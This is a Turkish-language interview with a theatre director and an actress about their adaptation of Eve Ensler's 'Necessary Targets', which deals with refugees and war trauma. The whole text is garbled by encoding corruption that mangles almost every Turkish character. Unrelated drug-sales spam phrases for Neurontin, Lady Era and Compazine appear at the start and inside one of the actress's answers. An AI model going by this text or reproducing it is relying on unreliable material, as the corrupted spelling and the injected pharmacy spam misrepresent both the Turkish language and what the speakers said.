Neurontin cost without insurance Peki kalbimizdeki kAi??tA?lA?kten arAi??nmanAi??n bir yolu yok mu? Ai??nsan olmak, en korkuncu mu tA?m kAi??tA?lA?klerin? Ne bu toplumu Ai??AYA?ten, yaAYamaktan alAi??koyan ve yarattAi??AYAi?? mA?ltecileri, Ai??oAYalmacAi?? bir yAi??AYAi??na Ai??Ai??p gibi atan savaAY Ai??Ai??AYAi??rtkanlAi??AYAi??nAi??; ne de onun esiri olan insanlarAi??n iyileAYmemesi A?zerine sistem kuran iAYgalci yardAi??mlarAi??nAi?? istiyoruz. Dilsiz dA?dA?kler Ai??oAYalAi??rken iki dirhem yA?rekle yaAYAi??yoruz; yA?rek Ai??arpmasAi??nAi??n, yA?rek Ai??Ai??rpAi??ntAi??sAi??na dAi??nA?AYtA?AYA? zavalAi??lAi??AYAi??n iAi??inde. Susarak karanlAi??AYAi??n Ai??mrA?nA? uzatAi??yoruz. Ah bu rahat dA?AYkA?nlA?AYA?mA?z, vazgeAi??emediAYimiz konfor! HayAi??r yani, duyarlAi?? olmasAi??na duyarlAi??yAi??z da, kim o gA?venli sAi??AYAi??naklarAi??ndan Ai??Ai??kacak daai??i?? Sahi evimizde gA?vende miyiz?

afis

ai???Ai??nsanlar sizi, sadece aynAi?? yerden canlarAi?? yandAi??klarAi??nda anlarai???mAi??AYai??? ama ben anladAi??m gAi??zyaAYAi??mAi??z aynAi?? deAYilai???. ai???BaAYkasAi??nAi??n baAYAi??na gelen, insanAi??n baAYAi??na gelendir. Ve insan en Ai??ok severken insandAi??rai???ai??i?? TerAi??rA? gA?nlA?k yaAYamAi??n olaAYan bir parAi??asAi?? haline getirenler, acAi??sAi?? taAY kesmiAY insanlarAi??n lanetiyle tarihin utanAi?? dehlizlerine bAi??rakAi??lAi??yor. Vicdan kanAi??yor.

Biz yaAYAi??yor muyuz gerAi??ekten? ai???BaAYka bir yerde, baAYka zamanda, baAYka bir dA?nyada hayat vardAi??r kim bilirai??? demek, umut gA?vercinleri uAi??urmak iAi??in hazAi??r bekletiyor da bizi, AYimdinin sevincini salAi??vermiyor. Yine de ai???Madem yaAYAi??yoruz, AYarkAi?? sAi??yleyelim o zaman, Ai??yle bir sAi??yleyelim ki herkes katAi??lsAi??nai???ai??i?? Ben bu daveti coAYkuyla kabul ediyorum ve gA?lmeye utanmadAi??AYAi??mAi??z gA?nlere sAi??ylA?yorum. YarAi??n hA?lA? bizim, biliyorum. Ai??

FaAYizm koAYullarAi??nda en bA?yA?k devrimcilik, iAYini iyi yapmak diye bellemedik mi? Madem tiyatro sizin Ai??zgA?rlA?k alanAi??nAi??z, orada yaratacaksAi??nAi??z en iyiniziai??i?? Ai??yle de yapmAi??AYsAi??nAi??z! ai???Nereye Gitti BA?tA?n Ai??iAi??eklerai???de ben o inancAi?? TuAYrul TA?lekai??i??in parAi??ltAi??lAi?? bakAi??AYlarAi??nda gAi??rdA?m, Azenay GA?rlerai??i??in saAYaltan sesinde iAYittim. Var olun!

Feri Baycu GA?lerai??i??in tiyatro aAi??ma fikrini paylaAYtAi??AYAi?? gA?n aranAi??zda adAi?? konmamAi??AY bir ortaklAi??k baAYlAi??yor. Tiyatronun adAi??nAi?? ise annesini sA?per kahraman olarak gAi??ren kAi??zAi?? koyuyor, Mam Art: ai???Annemin Sanat Eviai??? diye. ai???Ai??zel KadAi??nlar Listesiai???nden sonra sahnelenen bu oyun, Mamai??i??Art Tiyatroai??i??daki ikinci yAi??netmenliAYiniz. Oyunun Ai??evirisini Feri Baycu GA?ler ile birlikte yapAi??yorsunuz. Uyarlama, AYarkAi?? sAi??zleri ve yAi??netim sizde. Eve Enslerai??i??in yazdAi??AYAi?? oyunun adAi?? ai???Necessary Targetsai??? ama ai???Where Have All the Flowers Goneai??? ile Pete Seegerai??i??a gAi??nderilen bir selamla, oyundaki yaAYam dAi??ngA?sA?nA? bu kadar gA?zel anlatan AYarkAi??nAi??n sAi??zleriyle ai???Nereye Gitti BA?tA?n Ai??iAi??eklerai??? diye soruyorsunuz.
TuAYrul TA?lek:
Nereye gitti bA?tA?n Ai??iAi??ekler bilmiyorum doAYrusu, hiAi??bir fikrimiz yok. AzarkAi??da da Ai??yle. Bizim oyunda da Ai??yle. Ama sadece adAi??nAi?? deAYiAYtirmek iAi??in serbest uyarlama deAYil bu. GeAi??en sene ai???Some Girlsai???A? de ai???Ai??zel KadAi??nlar Listesiai??? diye sahnelemiAYtik. O uyarlama da deAYildi. Biz bu oyunun yapAi??sAi??nAi?? epey deAYiAYtirdik sahnelerken. O yA?zden birebir Eve Enslerai??i??in teksti deAYil bu. Ai??Ai??inde AYarkAi??larAi??n da olduAYu, epizodik bir anlatAi??mAi??n da sergilendiAYi, hatta bazAi?? bAi??lA?mlerin matematiAYinin deAYiAYtirildiAYi bir tekst var Ai??nA?mA?zde. Oyunu bilenler, -ki bilinen bir oyun- bu oyunu izlediAYinde, birtakAi??m farklAi??lAi??klar hissedeceklerdir. O yA?zden de serbest uyarlama. Fikir ve hikA?ye olarak tabii ki sadAi??k kaldAi??AYAi??mAi??z ama aynAi?? zamanda gA?nA?mA?zA?n hikA?yeleriyle de geliAYtirdiAYimiz bir oyun.

img_0739

AynAi?? zamanda orjinalinde Bosna SavaAYAi?? anlatAi??lsa da siz bunu coAYrafyasAi??z, zamansAi??z bir yere taAYAi??mAi??zsAi??nAi??z. Ai??AYte TA?rkiye, iAYte Suriyeli mA?ltecilerai??i??
TuAYrul TA?lek:
Kesinlikle. Bu teksti bilenler, ister istemez bu oyunun Bosnaai??i??da geAi??tiAYine dair bir fikre kapAi??lAi??yorlar. Biz hiAi?? oyunda bundan bahsetmiyoruz oysa. Nitekim finalde de, hA?lA? bu fikre sahip olanlar varsa diye, mekA?n algAi??sAi??nAi?? kAi??rmak iAi??in sonunda Melissaai??i??yAi?? Bosnaai??i??ya gAi??nderiyorum. AslAi??nda orjinal tekste baAYka bir yere gidiyor. Bunun sebeplerinden bir tanesi de; oyun boyunca bu mA?lteci mevzusunu DoAYuai??i??ya ait bir AYeymiAY gibi duyuyoruz referanslardan ama bu maalesef BatAi??ai??i??da da yaAYanan bir olgu demek iAi??in. O yA?zden BatAi??ai??i??yAi?? da iAYin iAi??ine katmak, bunun evrensel bir sorun olduAYunu anlatmak iAi??in, orada Bosnaai??i??nAi??n adAi??nAi??n geAi??mesini Ai??ok istedim ben. O yA?zden Ai??yle bilinAi??li bir tercih yaptAi??k orada.

ai???HiAi??bir yer gA?venli deAYil, hiAi??biriniz gA?vende deAYilsinizai??? diyor oyun. ai???Benim baAYAi??ma gelmezai??i?? algAi??sAi?? sarsAi??lAi??yor. Beyaz TA?rkler mesela daha gA?vende deAYil diAYerlerinden.
TuAYrul TA?lek:
Beni bu hikA?yede asAi??l etkileyen AYey bu zaten. MA?lteciliAYi, daha Ai??ok sefaletle, fakirlikle bir arada olan bir AYey olarak dA?AYA?nA?yorlar. OnlarAi??n, A?stleri baAYlarAi?? pis, kAi??tA? yerlerde olan, hAi??rpani bir AYekilde dolaAYan, ne bulursa onu yiyen, nerede olursa orada uyuyan insanlar olduAYu gibi bir algAi?? var. Bu oyunun anlattAi??AYAi?? AYey bunun tam da tersi. Biz AYimdi bu cafAi??ai??i??de otururken, birazdan kendimizi A?zerimizde bu AYAi??k kAi??yafetlerle bir mA?lteci kampAi??nda bulabiliriz. Bu bizlerin bile baAYAi??na gelebilir. O yA?zden benim sosyal statA?m, bAi??yle AYeylere sebep verecek tA?rden deAYil, benim bunlarAi?? yaAYamama izin vermez gibi AYeyler dA?AYA?nmememiz gerekir. Oyunun bu duruAYunu seviyorum aslAi??nda.

foto5

Ama bana Ai??ok paradoksal geliyor. Bunu sAi??ylerken bile kendimizi yine dAi??AYAi??nda tutuyoruz. Ai??Ai?? sesimiz Ai??yle sAi??ylemiyor.
TuAYrul TA?lek:
Ai??ster istemez, yoksa baAYka tA?rlA? nasAi??l yaAYayacaAYAi??z? Bu, kendimizi koruma mekanizmasAi?? bir taraftan. MA?ltecilik artAi??k bir dA?nya derdi olduAYu iAi??in, hakkAi??nda bir sA?rA? hikA?ye, oyun yazAi??lAi??yor. Ben iAi??lerinden Ai??zellikle bu oyunu istedim Ai??A?nkA? gerAi??ekten senin, benim, hepimizin baAYAi??na gelebilecek bir AYey olduAYunu anlatAi??yor. Oyunda bir doktor var; Zlata, mA?lteci kadAi??nlardan bir tanesi. AnlatAi??yor mevzuyu: ai???Biz arkadaAYlarla dAi??AYarAi?? Ai??Ai??kardAi??k, kahve iAi??erdik, birbirimize mutfakta yemekler yapardAi??k, yerdik; ama bakAi??n AYimdi buradayAi??zai??i?? diyor. Ai??AYte burada her AYey bitiyor aslAi??nda. Ai??stediAYiniz kadar kaAi??Ai??n, istediAYiniz kadar benim baAYAi??ma gelmez de deyin, ben onu biliyorum. O yA?zden bu oyun beni Ai??ok etkiledi. Senin de sAi??ylediAYin gibi hepimizde var o: Yok canAi??m, bizim baAYAi??mAi??za gelmez. OkumuAY yazmAi??AY insanlarAi??z, bAi??yle yerlerde yaAYAi??yoruzai??i?? Ama artAi??k biliyoruz ki Ai??yle bir AYey yok! DA?nyanAi??n her yerinde insanlar tehlike altAi??nda. Ne yazAi??k ki… Hep onu sAi??ylerim; dA?nyadaki 5 tane insanAi??n hAi??rsAi?? yA?zA?nden insanlarAi??n hayatlarAi?? mahvoluyor!

Azenay hanAi??m, ai???Craftai???ta oynadAi??AYAi??nAi??z ai???KayAi??pai??? da aynAi?? AYeyi sAi??ylemiyor muydu? DA?nyanAi??n hiAi??bir yeri gA?venli deAYil diye?
Azenay GA?rler:
Evet, aynAi?? AYeyi sAi??ylA?yor. ArtAi??k gA?venli bir yer yok! KiAYinin kayAi??tsAi??zlAi??AYAi?? Ai??ok bugA?nA?n konusu. Ne yazAi??k ki artAi??k dA?nyanAi??n hiAi??bir A?lkesi gA?venli deAYil. YaAYanan acAi??lar ve insanlarAi??n o acAi??lar iAi??indeki duyarsAi??zlAi??AYAi??nAi?? ve bir sA?re sonra hiAi??bir AYey olmamAi??AY gibi devam etmesini anlatAi??yor orada da.
TuAYrul TA?lek: BAi??yle bir paranoya baAYladAi?? ama zaten yazarlarda. BatAi??ai??i??da da var, DoAYuai??i??da da. Ve bu oyunla ilgili Ai??ok ilginAi?? bir AYey, Ai??ok tuhaf bir durum var. Bu coAYrafyada biz o kadar acAi?? hikA?yeler duymaya alAi??AYtAi??k ki, bu oyundaki hikA?yelerin bazen seyirciye dokunmadAi??AYAi??nAi?? bile hissediyorum.
Azenay GA?rler: AcAi??ya saAYAi??rlaAYmak yani, acAi??ya donma faslAi??ai??i??
TuAYrul TA?lek:
Ben yakAi??n Ai??evremden duyuyorum. Genel olarak oyunla ilgili detaylar neden daha sert gelmedi diye. Daha ne olsun? Daha ne olabilir ki? Annesinin, babasAi??nAi??n, gAi??zA?nA?n Ai??nA?nde parAi??alandAi??AYAi??nAi?? anlatan biri var. KocasAi?? tarafAi??ndan dAi??vA?len, AYiddet gAi??ren bir kadAi??nAi??n hikA?yesi var. Evinden yurdundan, komAYularAi??ndan, tA?m yaAYamAi??ndan alAi??nmAi??AY yaAYlAi?? kadAi??nAi??n hikA?yesi var. DA?AYA?nebiliyor musunuz yani? Son gA?nlerini artAi??k huzur iAi??inde, evinde geAi??irmek isterken, mA?lteci kampAi??na gAi??tA?rA?len kadAi??nAi??n yaAYadAi??klarAi??nAi??? ArtAi??k acAi??ya karAYAi?? o kadar duyarsAi??zlaAYtAi??k ve saAYAi??rlaAYtAi??k kiai??i?? ai???E nai??i??olmuAY yani, nai??i??olmuAY kiai??i?? yaklaAYAi??mAi?? Ai??ok acAi?? veriyor bana. O yA?zden o empati eksikliAYini, o bir baAYkasAi??nAi??n acAi??sAi??ndan keyif alma durumunu AYimdi AYimdi daha iyi anlAi??yorum bu oyundan sonra. Herkes benim acAi??m daha fazla, onun acAi??sAi?? beni ilgilendirmez diyor. Ai??ok tuhaf Ai??ok tehlikeli iAYte bu.

foto2ai???Bir yAi??netmen hem dramaturji bilmeli, hem oyunculuktan anlamalAi?? hem de Ai??ok iyi A?tA? yapmalAi??ai??? deAYil mi? Siz bu vasAi??flara sahip misiniz?
TuAYrul TA?lek: Evet Ai??ok iyi A?tA? yapAi??yorum. Azaka bir yana, bu oyunu seAi??memin sebeplerinden biri, anlattAi??AYAi?? AYey kadar, A?zerinde oynayabilme AYansAi?? da vermesiydi. Kendi fikrimizi daha Ai??ok ortaya Ai??Ai??karma AYansAi?? vermesi Ai??nemliydi. Elbette ki ben Ai??ok iyi dramaturji biliyorum, ben Ai??ok iyi oyuncu yAi??netmeniyim demekle olmuyor. OlabildiAYince kendime gAi??re doAYru AYeyler yapmaya Ai??alAi??AYAi??yorum. El yordamAi??yla yapmAi??yorum tabii hiAi??bir AYeyi; planlAi?? programlAi??, bilinAi??li yapAi??yorum. Bunu da, yAi??llardAi??r almAi??AY olduAYum eAYitim ve beraber oynadAi??AYAi??m oyuncu arkadaAYlarAi??m, Ai??alAi??AYtAi??AYAi??m yAi??netmenlerimden edindiAYim tecrA?bemden yola Ai??Ai??karak yapAi??yorum. Bana gAi??re doAYru olan bir yol buldum ve ona gAi??re devam ediyorum. Benim iAi??in Ai??nemli olan huzurlu bir ortam yaratmak. Bunu da ancak yAi??netmen yapabilir diye dA?AYA?nA?yorum.

img_0738

Evet kadAi??nlarla Ai??alAi??AYAi??ncaai??i??
TuAYrul TA?lek:
Ben bunu biraz tehlikeli buluyorum. Ben bunu Ai??ok duydum. Hepsi birbirinden yetenekli, deAYerli ve gerAi??ekten Ai??ok baAYarAi??lAi?? bir ekip. Genelde tiyatro tekstleri erkek egemen oyunlar. Kimse erkeklerle Ai??alAi??AYmak nasAi??ldAi?? diye sormuyor. Ai??yi idare ettiAYiniz sA?rece, iyi kriz yAi??nettiAYiniz sA?rece, ekibi doAYru kurduAYunuz sA?rece ha erkeklerle Ai??alAi??AYmAi??AYsAi??nAi??z, ha kadAi??nlarla Ai??alAi??AYmAi??AYsAi??nAi??z. Bu da benim tekamA?lA?mmA?AY diye bir AYey deAYildi. Bu AYahane bir sA?reAi??ti benim iAi??in.
Azenay GA?rler: HaklAi??sAi??n, sana katAi??lAi??yorum. AnlAi??yorum Ai??ok tehlikeli bir soru ama kadAi??nlar bir araya geldiAYinde bir AYeyler olabiliyor. Yoksa egolarAi??n devreye girdiAYi bir AYey tabii ki yok ortada.

foto4

Ben o ayrAi??mAi?? vurgulamak istememiAYtim; kadAi??nlarAi??n birliAYinden doAYan gA?Ai??ten bahsedecektim. Biz sanAi??rAi??m bu dA?nyayAi?? kadAi??nlarAi??n gA?zelleAYtireceAYine inanmak ve gA?cA?mA?zA? hissetmek istiyoruz.
TuAYrul TA?lek:
Ai??O doAYru, ona katAi??lAi??yorum kesinlikle.


Oyunun etkisini kesinlikle derinleAYtiren o AYarkAi?? sAi??zleri size ait ve o AYarkAi??lar, oyuna yardAi??mcAi?? olmanAi??n yanAi??nda bir sosyal sorumluluk projesi olarak da mA?ltecilere yardAi??m etmek istiyor. O sA?reAi?? nasAi??l gidiyor?
TuAYrul TA?lek: Onun takibini ben yapmAi??yorum. O daha Ai??ok tiyatromuzun kurucusunun projesi. Biz oyuna hadi bir sosyal sorumluluk projesi yapalAi??m falan diye baAYlamAi??yoruz. Birilerine ders verme, bir AYey anlatma gibi bir derdimiz yok. Bizim bu hikA?yeyi anlatmamAi??zAi??n bireysel ve estetik olarak sebepleri var. Onu zaten oyunu yaparak hallediyoruz… Ama neden olmasAi??n? MA?ltecilerle ilgili bir oyunun, mA?ltecilere katkAi?? saAYlamasAi?? elbette ki AYahane bir AYey. Bu, Feriai??i??nin aklAi??na gelen, Ai??ok gA?zel bir dA?AYA?nce. Oyundaki AYarkAi??larAi?? CDai??i??ye toplayAi??p, satAi??lan CDai??i??lerden oluAYan geliri, mA?lteci ailelerine ulaAYtAi??rmak gibi bir derdimiz varai??i?? Ama o bizim dAi??AYAi??mAi??zda ilerleyen bir prosedA?r, o baAYka bir bA?rokrasi. UmarAi??m gA?zel bir gelir elde edilir ve ulaAYabiliriz doAYru yerlere.

Eve Ensler, Bosna savaAYAi??nda, oradaki kadAi??nlarla sAi??yleAYiler yapmAi??AY. Aktivist oyuncularla okuma yaparak tiyatroyu gA?Ai?? olarak kullanmAi??AY. Tiyatro belki savaAYAi?? durdurmaz, dA?nyayAi?? deAYiAYtirmez ama deAYiAYtirme fikrini ateAYler. Melissa karakteri ondan yansAi??malar taAYAi??yor, deAYil mi? Ona soruluyor ai???bu kitapla mAi?? deAYiAYtireceksin dA?nyayAi??ai??i?? diye. Okurlarsa evet diyor ama Bosnaai??i??ya gideceAYi gA?nA?n sabahAi?? Seadaai??i??nAi??n hikA?yesini almaktaki inatAi??Ai??lAi??AYAi?? ve provoke etmesi acAi??yAi?? kanAi??rtmAi??yor mu?
Azenay GA?rler:
Melissaai??i??nAi??n derdi Bosnaai??i??ya gideceAYi sabah her koAYulda hikA?yeyi almak. Bir sA?re sonra, amaAi?? ve kullandAi??AYAi?? yAi??ntemler birbirine karAi??AYmaya baAYlAi??yor. Yani o iyi niyetle yapAi??lan AYey bence Ai??ok karAi??AYAi??yor orada.
TuAYrul TA?lek: DoAYruyu yapmaya Ai??alAi??AYAi??rken, aslAi??nda eleAYtirdiAYi sistemin iAi??ine dahil oluyor bir AYekilde. Oyunda Azenayai??i??Ai??n canlandAi??rdAi??AYAi?? J.S. karakterinin sAi??ylediAYi bir laf var: ai???Sen kendini kaybetmiAY kA?Ai??A?k bir kAi??z Ai??ocuAYusunai??? diye. GerAi??ekten de Ai??yle. Ne hedefini, ne nereye gideceAYini, ne neye karAYAi?? durduAYunu biliyor, her AYeyi kaybediyor. Ai??ok Amerikanvari bir duruAY bu aslAi??nda. Ya da AYAi??yle diyeyim: Ai??ok metropol duruAYu, aynAi?? zamanda Beyaz TA?rk duruAYu da bu. Sadece baAYarAi??lAi?? olmaya odaklandAi??AYAi?? zaman insanlar her AYeyi gAi??rmezden geliyorlar. EtrafAi??ndaki insanlarAi??n hayatlarAi??nAi??, onlarAi??n acAi??larAi??nAi??, sevinAi??lerini gAi??rmezden geliyorlar ve mA?dahaleyi kendilerine daha kolay bir hak gAi??rA?yorlar. Ezerek, kAi??rarak, dAi??kerek, yAi??ntem her neyseai??i?? Melissa da Ai??yle, farkAi??nda olmadan bence -ben Ai??yle olmasAi??nAi?? istedim- bilinAi??li olarak yapmAi??yor ama o tuhaf bir gen gibi onun iAi??inde bA?yA?yor. DoAYru bir AYey yaptAi??AYAi??nAi?? dA?AYA?nA?yor ama Ai??ok yanlAi??AY bir yAi??ntemle yapAi??yor.
Azenay GA?rler: Purchase lady era pills Cheap compazine dosing AmaAi?? aslAi??nda, onlarAi??n hikA?yesini duyurmak sAi??nAi??rAi??nAi??n dAi??AYAi??na Ai??Ai??kAi??p; amaAi??, bir an Ai??nce kitabAi??n Ai??Ai??kmasAi?? haline dAi??nA?AYA?yor. Ai??yi niyetle hareket eden karAi??AYAi??k bir durumu var Melissa karakterinin.
TuAYrul TA?lek: Yoksa hikA?yelerin anlatAi??lmasAi?? gerektiAYine, bunlarAi??n paylaAYAi??lmasAi?? gerektiAYine ve insanlarAi??n bunlarAi?? anlatarak aslAi??nda bu yA?kten kurtulacaAYAi??na inanAi??yorum. Ai??yledir; konuAYarak, o Ai??ekmeceleri aAi??arak biz anlatAi??rAi??z ve rahatlarAi??z. Buna inanAi??yorum kesinlikle yapAi??AY yAi??ntemi doAYru deAYil. Oyun da zaten J.S. ve Melissaai??i??nAi??n Ai??atAi??AYmasAi??ndan yA?rA?yor.

foto3

Melissaai??i??nAi??n eleAYtirisi karAYAi??sAi??nda, J.S., ai???kaybolmak hayatAi??mda ilk defa bana Ai??ok iyi geliyorai??? diyen bir terapiste dAi??nA?AYA?yor.
Azenay GA?rler:
Tam tersi beklenirken, kamptaki kadAi??nlar iAi??in giderken aslAi??nda J.S.ai??i??in dAi??nA?AYA?mA? gerAi??ekleAYiyor. J.S. daha kuralcAi??, daha kapalAi?? biriyken, Melissa daha rahat gAi??rA?nA?rken, roller deAYiAYiyor. Ai??A?nkA? kadAi??n deAYiAYebiliyor, dAi??nA?AYebiliyor, anlAi??yor, onlarla empati kurabiliyor. Ama Melissa empati kurmayarak daha profesyonel iAY yapAi??yor. KadAi??n Melissaai??i??nAi??n dediAYi gibi profesyonelliAYini koruyamAi??yor Ai??A?nkA? sAi??nAi??rlarAi?? kaldAi??rAi??yor. AslAi??nda kamptaki kadAi??nlar onu deAYiAYtiriyorlar. Bu Ai??ok Ai??nemli.

GAi??rev insanAi??, uygun adAi??m yA?rA?yen, kuralcAi??, titiz, konforuna dA?AYkA?n, hastalarAi??nAi??n bilgilerini paylaAYmayan, kafeini, sigarayAi?? bAi??rakan, kendisine sorulan sorulara cevap vemeyen, karAi??AYmayan bir danAi??AYmanAi??n dAi??nA?AYmesini ve dAi??nA?AYtA?rmesini gAi??rA?yoruz. Bir yerden birbirlerine deAYiyorlar.
TuAYrul TA?lek:
Eve Ensler orada o AmerikalAi??yAi?? biraz karton bir karakter olarak sunuyor. Kahveyi bAi??raktAi??m, sigarayAi?? bAi??raktAi??m, cart yaptAi??m, curt yaptAi??mai??i?? A tabii ben takip ediyorum gA?ndemi de benim kendi korunaklAi?? alanAi??m var diyen bir karakter o.
Azenay GA?rler: Ben her zaman gA?venli alanAi??mda yaAYarAi??m, gider iAYimi yapar yine gA?venli alanAi??ma dAi??nerim diyor.

img_0740

Ai??AYte o korunaklAi?? alanlar, o rahat ve konfor, duyarlAi?? olmanAi??n, empati kurmanAi??n dA?AYmanAi??, bizi alAi??koyan o. GAi??ze alamAi??yoruz kepazeliAYi. SAi??cak yuvalarAi??mAi??zdan Ai??Ai??kamAi??yoruz. SavaAYAi?? yakAi??ndan takip etmek, televizyondan izlemek, gazetelerden okumakla, orada olmak arasAi??ndaki fark Ai??nemli. Biz de kendimizi kandAi??rAi??yoruz bAi??yle. Ne kadar A?zA?lA?rsek o kadar bir AYey yaptAi??k sanAi??yoruz.
TuAYrul TA?lek:
Ai??ok mutlu oluyoruz bunlarAi?? duyduAYumuz zaman, teAYekkA?r ederim Ai??zellikle bunun altAi??nAi?? Ai??izdiAYin iAi??in. Benim Ai??ok Ai??nemsediAYim bir AYey Ai??A?nkA? bu. Evet, burada dA?nyayAi?? deAYiAYtirmiyoruz, bunun iAi??in sAi??ylemiyoruz ama birazcAi??k bAi??yle bir AYeyi de dA?rtersek, bize iyi geliyor. Ai??A?nkA? bize bunu yaptAi?? bu oyun.
Azenay GA?rler: Aynen, bA?tA?n bir Ai??alAi??AYma boyunca bunlarAi?? konuAYtuk. GerAi??ekten buraya gelirken yanAi??ndan, yAi??resinden geAi??tiAYimiz insanlar var. Suriyeli mA?ltecilerin yanAi??ndan geAi??iyoruz hep. NiAYantaAYAi??ai??i??nda da Ai??alAi??AYAi??rken gAi??rA?yoruz onlarAi??. Orada da var. Ai??Ai??pA?n yanAi??nda oturuyor, Ai??ocuAYunu emziriyor, gAi??rA?yorsun, A?zA?lA?yorsun ama geAi??iyorsun, gidiyorsunai??i??

FazAi??l Sayai??i??Ai??n bir paylaAYAi??mAi?? vardAi??. 2014ai??i??te Salzburg tren istasyonunda bekleyen binlerce Suriyeli mA?lteci gAi??rA?yor. Merkel onlarAi?? alacaAYAi??nAi?? sAi??ylemiAY ve sAi??nAi??rda bekletiyormuAY. GenAi?? bir mA?lteci piyanist, FazAi??l Sayai??i??Ai??n yanAi??na geliyor. YardAi??ma ihtiyacAi??n var mAi?? diye sorduAYunda, haftalardAi??r piyano Ai??alamadAi??AYAi??nAi?? sAi??ylA?yor.Ai?? “Mozarteum’a git, mA?dA?re, benim ismimi ver, orada sana oda ayarlasAi??nlar, Ai??alAi??AY” diyor FazAi??l Say. O genAi??, Beethoven Ai??almAi??AY gecede birkaAi?? ay sonra. MA?ltecilerin Ai??nceki ve sonraki hayatlarAi?? iAYteai??i??
TuAYrul TA?lek:
Ai??ok kan dondurucu bir AYey. Bazen dA?AYA?nA?yorum, bAi??yle bir AYey geldi baAYAi??ma ve bir yere sAi??AYAi??nmak zorunda kaldAi??m. Bunu yapamazsam ne yaparAi??m acaba diye dA?AYA?nA?yorum. SonuAi??ta var olma sebeplerimizden biri de bu iAYi yapAi??yor olmamAi??z. Biz, bu yA?zden yaAYAi??yoruz. Ai??Ai??AYimi yapamayacaAYAi??m duruma gelirsemai??i?? Azimdi tercih meselesi, yaparAi??m yapmam mesela, o orada var, duruyor, AYimdi o pasa Ai??Ai??kabilirimai??i?? Ama saAYlAi??klAi?? olduAYum halde gerAi??ekten yapamayacak durumda olsam, yani o korkunAi?? bir AYey.
Azenay GA?rler: Ben fizik tedavi iAi??in, bir sA?re Ai??nce, bir yere gidiyordum. Orada Ai??ok hoAY bir kadAi??n vardAi??. Onun hikA?yesini anlattAi??lar. KadAi??n A?lkesinde Ai??ok A?nlA?, Ai??ok bilinen, Ai??ok Ai??nemli bir oyuncuymuAY. Ve iAYte yaAYananlardan sonra zar zor kaAi??Ai??p kurtuluyor. Geliyor, ne yapabilir TA?rkiyeai??i??de? Ai??ok az bir parayla geAi??inmeye, hayatAi??nAi?? devam ettirmeye Ai??alAi??AYAi??yor ki bizim oyunda anlattAi??AYAi??mAi??z daha aAYAi??r bir hikA?ye. Bir anda daha Ai??nce olan hiAi??bir AYey yok. O zenginlik yok, alkAi??AYlar yok.

foto1

(Benim gAi??zlerim seninkilerle aynAi??/AynAi?? sesleri duyuyor bu kulaklarai??i?? /Dans ederiz belki aynAi?? AYarkAi??larla/Hayallerim var seninkilerle aynAi??ai??i??/AyaklarAi??m var seninkilerle aynAi??/Senin geAi??tiAYin sokaklarAi?? arAYAi??nlar/AynAi?? genAi??liAYi bAi??raktAi??k arkamAi??zda/AttAi??AYAi??mAi??z kahkahalar bile aynAi??/Ama ben anladAi??m /GAi??zyaAYAi??mAi??z aynAi?? deAYil.) GAi??zyaAYAi??nda birleAYmek Ai??ok mu zor? GAi??rmek, anlamak Ai??ok mu zor? Bu sAi??zlerin AYarkAi??yla sAi??ylenmesi yumusatmAi??AY gibi gAi??rA?nse de teksti, ajite etmeden, aAYlatmadan kalbine oturuyor asAi??l.
Azenay GA?rler:
AslAi??nda daha etkileyici deAYil mi aAYlatmadan olmasAi???
TuAYrul TA?lek: AzarkAi??, bir taraftan bir yabancAi??laAYtAi??rma unsuru ister istemez, bir taraftan da bu hikA?yeyi anlatabilmek iAi??in de bize yardAi??mcAi?? olan bir iliAYkide. BirazcAi??k da Antik Yunanai??i??a selam yani; epizodlara bAi??lA?p, koroyu da bir AYekilde iAYin iAi??ine katmaya Ai??alAi??AYmak… Bir de tekst Ai??ok dramatik dili olan bir oyun deAYil, daha belgeselvari bir oyun. Ve bunu daha akAi??cAi?? hale getirmek iAi??in aslAi??nda AYarkAi??lardan yararlanmamAi??z gerektiAYini dA?AYA?ndA?AYA?m iAi??in ben de mutluyum. FarklAi?? sebeplerden koydum ama Ai??ok yardAi??mcAi?? oldu bize aAi??Ai??kAi??asAi?? hikA?yeyi anlatma anlamAi??nda.
Azenay GA?rler: Ai??zellikle ajite etmemesi en Ai??nemli AYeylerden biri. Bunu hep gAi??zettik.
TuAYrul TA?lek: Mikrofon effekti de Ai??yle. Onu Ai??zellikle kullanmak istedim. Bir kayAi??t aleti deAYil o. Hem biz duyalAi??m hem de ona dikkat Ai??ekelim istedim. Sesi kaydedilmeyen kiAYi normal bir sesle bizimle konuAYurken, diAYerini daha Ai??ok duyalAi??m, kayAi??t edilme olayAi?? bizi de rahatsAi??z etsin istedim. Hatta oyundan koparsAi??n, yabancAi??laAYtAi??rsAi??n istedim.

img_0742

Azenay HanAi??m, canlandAi??rdAi??AYAi??nAi??z psikolog, objektifliAYini kaybetmemek iAi??in meselelere karAi??AYmAi??yor baAYta. YaAYanan onca AYeyi ai???meseleai??? diye kodluyor. Bir de ai???malzemeai??? olarak gAi??rA?lA?yor o dramlar karAYAi?? taraftan. TecavA?ze uAYramAi??AY ama mA?mkA?nse toplu tecavA?ze uAYramAi??AY diye sipariAY ediliyor vaka.
Azenay GA?rler:
Daha kanAi??rtacak, daha acAi??tacak.
TuAYrul TA?lek: BatAi??ai??i??nAi??n o oryantalizm merakAi?? korkunAi?? bir AYey. ai???Aman tanrAi??m, ne kadar korkunAi?? AYeyler bunlarai??? diyecekler.
Azenay GA?rler: Zaten doktor karakteri; Zlata ile olan o konuAYmadan sonra o kAi??rAi??lma yaAYanAi??yor. A?stA?, baAYAi??, her AYeyi farklAi??laAYmaya baAYlAi??yor. Anlamaya Ai??alAi??AYarak bakAi??yor. OnlarAi?? ziyarete gidiyor hemen arkasAi??ndan Ai??A?nkA?. Daha farklAi?? bir yerden bakAi??yor artAi??k. O konuAYmanAi??n Ai??ok bA?yA?k yararAi?? oluyor.Ai?? Oyunun dAi??nA?AY yeri tam orasAi??.

Oyunun baAYAi??nda da yardAi??mcAi?? olmak iAi??in orada olduAYunu sAi??ylA?yor ama o konuAYmadan sonra gerAi??ekten yardAi??m etmenin yolunu arAi??yor. Yoksa Amerika her zaman DoAYu Blokuna yardAi??mcAi??. Ai??AYgalci yardAi??mcAi??ai??i??
Azenay GA?rler:
Zlata ona neler sAi??ylA?yor. Siz AmerikalAi??lar bAi??ylesiniz diye -ki Ai??yleler- ai??i?? Ama J.S. o soruyu Ai??ok iAi??ten soruyor. Ve anlatAi??lan uAi??urumlar vurucu. Tamam, travma travmadAi??r ama o anoreksik hastalarla, o mA?ltecilerin yaAYadAi??AYAi?? savaAY travmasAi??nAi?? kAi??yaslamak da tuhaf. Bir profesyonelin kAi??yaslamasAi?? iyice tuhaf.

